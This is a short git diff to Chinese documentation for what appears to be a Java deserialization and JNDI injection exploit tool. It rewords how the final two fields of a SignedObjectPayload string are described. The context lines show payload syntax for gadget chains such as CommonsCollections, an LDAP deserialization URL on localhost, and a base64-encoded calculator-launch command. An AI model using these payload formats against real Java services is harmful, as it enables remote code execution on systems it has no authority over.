diff --git a/6、Gadget.md b/6、Gadget.md
index 368311c..1e20386 100644
--- a/6、Gadget.md
+++ b/6、Gadget.md
@@ -351,7 +351,7 @@ ldap://127.0.0.1:1389/Deserialization/URLDNS/command/Base64/[base64_encoded_all:
 * `cc`,`cc4`,`cb`,`hibernate`,`rome`,`rhino`,`spring`
 
 * 利用方式：
-* SignedObjectPayload -> 'CC:cc6:b3BlbiAtYSBDYWxjdWxhdG9yLmFwcA==:1:10000' 最后两个参数是反序列化的类型
+* SignedObjectPayload -> 'CC:cc6:b3BlbiAtYSBDYWxjdWxhdG9yLmFwcA==:1:10000' 最后2个类型是脏数据类型和长度，为0则不混淆
 
 + JNDI-Injection-Exploit 用法：
 ```